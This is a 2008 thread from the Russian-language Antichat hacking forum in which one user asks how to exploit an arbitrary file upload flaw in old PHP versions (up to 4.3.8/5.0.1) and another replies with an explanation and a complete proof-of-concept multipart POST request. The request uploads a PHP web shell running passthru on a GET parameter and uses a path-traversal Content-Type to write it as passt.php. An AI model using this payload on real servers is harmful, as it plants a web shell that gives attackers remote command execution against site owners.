Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   remote arbitrary file upload vulnerability (https://forum.antichat.xyz/showthread.php?t=79564)

gesik 03.08.2008 22:32

remote arbitrary file upload vulnerability
 
PHP unspecified remote arbitrary file upload vulnerability

An unspecified remote arbitrary file upload vulnerability has been reported for this version of PHP.

Affected PHP versions (up to 4.3.8/5.0.1).

This vulnerability affects PHP.
The impact of this vulnerability
Upload arbitrary files.


Может кто-нить обьяснить как пользоваться этой уязвимостью или кинуть сылку на FAQ или видео?

[Raz0r] 03.08.2008 23:17

Уязвимость довольно старая, но опасная, если тебе удалось найти уязвимое веб-приложений (предположу, что сведения об этой баге ты получил от Acunetix Web Vulnerability Scanner)
PoC для этой уязвимости:
http://www.securityfocus.com/archive/1/376865
Бага заключается в том, что при специально составленном HTTP-запросе существует возможность обхода проверки интерпретатором PHP имени загружаемого файла, что может привести к загрузке файлов с произвольными именами в любые директории (естественно, если хватает прав). Подробного описания причин уязвимости автор не дает, известно лишь, что она возможна ввиду ошибок обработки массивов в самом интерпретаторе.
Код:

POST /upload.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.6)
Gecko/20040115 Galeon/1.3.12
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plai
n;q=0.8,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
Accept-Language: en
Accept-Encoding: gzip, deflate, compress;q=0.9
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer:
Content-Type: multipart/form-data;
boundary=---------------------------1648318426118446961720965026
Content-Length: 395

-----------------------------1648318426118446961720965026
Content-Disposition: form-data; name="user[file[name]123";
filename="p.php"
Content-Type: ../html/passt.php

<?
passthru($_GET['cm']);
?>

-----------------------------1648318426118446961720965026
Content-Disposition: form-data; name="user[file[type]123"; filename="vg"
Content-Type: application/octet-stream

<?
passthru($_GET['cm']);
?>

В PoC необходимо обратить внимание на name="user[file[type]123"; и Content-Type: ../html/passt.php, что собственно и эксплуатирует уязвимость, заставляя PHP принять файл с именем passt.php вместо p.php.


Время: 21:57